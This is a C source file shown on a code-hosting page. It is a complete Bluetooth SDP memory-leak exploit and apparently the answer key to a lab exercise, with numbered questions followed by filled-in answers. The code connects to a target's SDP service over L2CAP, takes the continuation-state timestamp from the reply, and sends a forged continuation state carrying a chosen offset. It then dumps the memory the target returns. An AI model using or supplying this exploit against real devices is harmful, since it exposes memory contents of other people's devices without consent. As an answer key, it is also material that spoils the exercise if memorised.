-
Notifications
You must be signed in to change notification settings - Fork 3
/
answers_leak.c
333 lines (304 loc) · 10.1 KB
/
answers_leak.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
//copyright @
//huahuaisadog@gmail.com
//
//modified by axel.roudaut@outlook.com
/***
***Only for linux devices***
usage:
$ gcc -o leak answers_leak.c -lbluetooth
$ sudo ./leak TARGET_ADDR LEAK_OFFSET
***/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#define __u8 unsigned char
#define __le16 unsigned short
#define __le32 unsigned int
struct l2cap_cmd_hdr {
__u8 code;
__u8 ident;
__le16 len;
};
struct l2cap_conn_req {
__le16 psm;
__le16 scid;
};
struct l2cap_conf_req {
__le16 dcid;
__le16 flags;
__u8 data[0];
};
struct l2cap_conf_rsp {
__le16 scid;
__le16 flags;
__le16 result;
};
struct l2cap_conf_opt {
__u8 type;
__u8 len;
};
struct fack_opt{
__u8 type;
__u8 len;
__le16 val;
};
struct l2cap_conf_efs {
__u8 id;
__u8 stype;
__le16 msdu;
__le32 sdu_itime;
__le32 acc_lat;
__le32 flush_to;
};
typedef struct sdp_pdu_hdr{
uint8_t pdu_id;
uint16_t tid;
uint16_t plen;
} __attribute__ ((packed)) sdp_pdu_hdr_t;
typedef struct {
uint32_t timestamp;
union {
uint16_t maxBytesSent;
uint16_t lastIndexSent;
} cStateValue;
} sdp_cont_state_t;
static void print_hex(char *str, int str_len)
{
printf("0x");
//while(*str) // pbm stop at null bytes
int i = 0;
while(i < str_len){
printf("%02x", (unsigned int) *str++);
i++;
}
printf("\n");
}
static void print_l2cap_cmd_hdr(struct l2cap_cmd_hdr p){
printf("\tl2cap_cmd_hdr:\n");
printf("\t\tcode = %i\n", p.code);
printf("\t\tident = %i\n", p.ident);
printf("\t\tlen = %i\n", p.len);
}
static void print_l2cap_conn_req(struct l2cap_conn_req p){
printf("\tl2cap_conn_req:\n");
printf("\t\tpsm = %i\n", p.psm);
printf("\t\tscid = %i\n", p.scid);
}
static void print_l2cap_conf_req(struct l2cap_conf_req p){
printf("\tl2cap_conf_req:\n");
printf("\t\tdcid = %i\n", p.dcid);
printf("\t\tflags = %i\n", p.flags);
printf("\t\tdata = ");
print_hex(p.data, sizeof(p.data));
}
static void print_l2cap_conf_rsp(struct l2cap_conf_rsp p){
printf("\tl2cap_conf_rsp:\n");
printf("\t\tscid = %i\n", p.scid);
printf("\t\tflags = %i\n", p.flags);
printf("\t\tresults = %i\n", p.result);
}
static void print_l2cap_conf_opt(struct l2cap_conf_opt p){
printf("\tl2cap_conf_opt:\n");
printf("\t\ttype = %i\n", p.type);
printf("\t\tlen = %i\n", p.len);
}
static void print_fack_opt(struct fack_opt p){
printf("\tfack_opt:\n");
printf("\t\ttype = %i\n", p.type);
printf("\t\tlen = %i\n", p.len);
printf("\t\tval = %i\n", p.val);
}
static void print_l2cap_conf_efs(struct l2cap_conf_efs p){
printf("\tl2cap_conf_efs:\n");
printf("\t\tid = %i\n", p.id);
printf("\t\tstype = %i\n", p.stype);
printf("\t\tmsdu = %i\n", p.msdu);
printf("\t\tsdu_itime = %i\n", p.sdu_itime);
printf("\t\tacc_lat = %i\n", p.acc_lat);
printf("\t\tflush_to = %i\n", p.flush_to);
}
static void print_sdp_pdu_hdr_t(sdp_pdu_hdr_t p){
printf("\tsdp_pdu_efs:\n");
printf("\t\tpdu_id = %i\n", p.pdu_id);
printf("\t\ttid = %i\n", p.tid);
printf("\t\tplen = %i\n", p.plen);
}
static void print_sdp_cont_state_t(sdp_cont_state_t p){
printf("\tsdp_cont_state_t:\n");
printf("\t\ttimestamp = %i\n", p.timestamp);
printf("\t\tcStateValue = %i\n", p.cStateValue);
}
#define HEAD_LEN (sizeof(struct l2cap_cmd_hdr))
static int parse_conn_req(void *buffer, __u8 ident, __le16 len, void *data) {
printf("\n-- parse_conn_req --\n");
struct l2cap_cmd_hdr head;
head.code = L2CAP_CONN_REQ;
head.ident = ident;
head.len = len;
memcpy(buffer, &head, sizeof(head));
memcpy(buffer + sizeof(head), data, len);
print_l2cap_cmd_hdr(head);
return len + sizeof(head);
}
#define SDP_SVC_SEARCH_ATTR_REQ 0x6
static int parse_sdp_search_attr_req(void *buffer, __le16 data_len, void *data){
printf("\n-- parse_sdp_search_attr_req --\n");
sdp_pdu_hdr_t pdu_head;
int i;
__le16 tmp;
memset(&pdu_head, 0, sizeof(pdu_head));
pdu_head.pdu_id = SDP_SVC_SEARCH_ATTR_REQ;
pdu_head.tid = 0;
tmp = ((data_len & 0xff) << 8 ) + ((data_len >> 8) & 0xff);
pdu_head.plen = tmp;
memcpy(buffer, &pdu_head, sizeof(pdu_head));
memcpy(buffer + sizeof(pdu_head), data, data_len);
print_sdp_pdu_hdr_t(pdu_head);
return data_len + sizeof(pdu_head);
}
int main(int argc ,char* argv[]){
int sock_fd, ret;
int total_len;
int i;
int leak_offset;
void *sdp_1, *data, *recv_sdp_2, *sdp_3, *recv_sdp_4;
unsigned int *leak_data;
unsigned char *p, *timestamp;
char dest[18];
struct sockaddr_l2 local_l2_addr;
struct sockaddr_l2 remote_l2_addr;
struct fack_opt fack;
if(argc != 3){
printf("usage : sudo ./test TARGET_ADDR LEAK_OFFSET\n");
return -1;
}
strncpy(dest, argv[1], 18);
leak_offset = strtol(argv[2], NULL, 16);
printf("[Part1]\n\t- Creates bluetooth socket\n");
sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP);
if(sock_fd == -1){
perror("[-]socket create failed : ");
return -1;
}
printf("\t- Binds/Assigns localhost bluetooth source address to the socket\n");
memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
local_l2_addr.l2_family = PF_BLUETOOTH;
memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));
ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
if(ret == -1){
perror("[-]bind()");
goto out;
}
printf("\t- Assigns destination bluetooth address and connects processing L2CAP handcheck\n");
memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
remote_l2_addr.l2_family = PF_BLUETOOTH;
remote_l2_addr.l2_psm = htobs(0x1);
str2ba(dest, &remote_l2_addr.l2_bdaddr); //convert format of a bluetooth address
if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {
perror("[-]Can't connect");
goto out;
}
printf("Notice : L2CAP Default MTU = 672\n");
sleep(2);
printf("\n/*----------------------------------------------------------------------*/\n");
printf("\n[Part2] Send SDP service search attribute request to get timestamp\n");
sdp_1 = malloc(0x100);
memset(sdp_1, 0, 0x100);
// Hand-crafted SDP packet data
char sdp_1_data[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN
"\x00\x10" // max attribute byte count
"\x35\x05\x0a\x00\x00\xff\xff" //attribute id list
"\x00"; //continuation state
printf("sdp_1_data = "); print_hex(sdp_1_data, 16);
total_len = parse_sdp_search_attr_req(sdp_1, sizeof(sdp_1_data) - 1, sdp_1_data); // add data to sdp_1 PDU
printf("total_len = %i\n", total_len);
printf("sdp_1 = "); print_hex(sdp_1, total_len);
ret = send(sock_fd, sdp_1, total_len,0); // send 1st SDP pdu from raspberry to target
printf("ret = %i bytes\n", ret);
printf("\n/*----------------------------------------------------------------------*/\n");
printf("\n[Part3] Receive timestamp of target\n");
recv_sdp_2 = malloc(0x1000);
memset(recv_sdp_2, 0, 0x1000);
sleep(1);
ret = recv(sock_fd, recv_sdp_2, 0x100, 0); // returns the length of the message in bytes, or -1 if error
printf("ret = %i\n", ret);
printf("recv_sdp_2 = "); print_hex(recv_sdp_2, ret);
if(ret == -1){
perror("[-]recv : ");
goto clean;
}
printf("\nNOTICE:\ntypedef struct {\n\tuint32_t timestamp;\n\tunion {\n\t\tuint16_t maxBytesSent;\n\t\tuint16_t lastIndexSent;\n\t} cStateValue;\n} sdp_cont_state_t;\n\n");
// QUESTION 1
printf("\n1) HERE analyse SDP service serach response in Wireshark and the used struct sdp_cont_state_t to find the timestamp value\n\n");
// timestamp = ?;
timestamp = recv_sdp_2 + ret - 8; // ANSWER 1
printf("timestamp = "); print_hex(timestamp, 4);
printf("\n/*----------------------------------------------------------------------*/\n");
printf("\n[Part4] Send vuln search_attr_req to get leak data\n");
sdp_3 = malloc(0x100);
memset(sdp_3, 0, 0x100);
// Hand-crafted SDP packet data
char tmp_data[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN
"\xff\xff" // max attr byte count
"\x35\x05\x0a\x00\x00\xff\xff" //attribute id list
"\x08"; //continue state size
printf("tmp_data = ", tmp_data); print_hex(tmp_data, 16);
char sdp_3_data[100] = {'\0'};
sdp_cont_state_t vul_cstate; // the SDP continuation state we will use to leak data
// QUESTION 2
printf("\n2) HERE find how to go in part of code 'continuation State exists -> get from cache'\n\n");
memcpy(&vul_cstate.timestamp, timestamp, 4); //ANSWER 2
// QUESTION 3
printf("\n3) HERE find how to use vul_cstate to leak data pointed by leak_offset\n\n");
// vul_cstate.? = leak_offset; //leak data offset defined in argv[2]
vul_cstate.cStateValue.maxBytesSent = leak_offset; // ANSWER 3
// Add data to SDP packet and send it
int size_effective_data = sizeof(tmp_data) - 1;
memcpy(sdp_3_data, tmp_data, size_effective_data); // add crafted hand-crafted tmp_data
memcpy(sdp_3_data + sizeof(tmp_data) - 1, &vul_cstate, 8); // add vul_cstate to data
size_effective_data += 8;
printf("sdp_3_data = "); print_hex(sdp_3_data, sizeof(sdp_3_data));
total_len = parse_sdp_search_attr_req(sdp_3, size_effective_data, sdp_3_data); // add data to SDP packet
printf("total_len = %i\n", total_len);
printf("sdp_3 = "); print_hex(sdp_3, total_len);
ret = send(sock_fd, sdp_3, total_len, 0); // returns the length of the message in bytes.
printf("ret = %i\n", ret);
printf("\n/*----------------------------------------------------------------------*/\n");
printf("\n[Part5] Receive leak data\n");
recv_sdp_4 = malloc(0x1000);
memset(recv_sdp_4, 0, 0x1000);
ret = recv(sock_fd, recv_sdp_4, 0x1000, 0); // returns the length of the message in bytes or -1 if errror.
printf("ret = %i\n", ret);
printf("recv_sdp_4 = "); print_hex(recv_sdp_4, ret);
if(ret == -1) {
perror("[-]recv : ");
goto clean;
}
// QUESTION 4
printf("\n4) HERE you have to find the leaked data from the receive SDP PDU\n\n");
// leak_data = ?? ;
leak_data = (unsigned int *)(recv_sdp_4 + 0x10); // ANSWER 4
printf("\nleak_data : \n");
for(i = 0; i < ret/sizeof(unsigned int) ; i++) {
if(i % 4 == 0)
printf("%08x : ", i/4 * 0x10);
printf("%08x " ,leak_data[i]);
if(i % 4 == 3)
printf("\n");
}
printf("[+]test done\n");
clean:
free(sdp_1);
free(recv_sdp_2);
free(sdp_3);
free(recv_sdp_4);
out:
close(sock_fd);
return 0;
}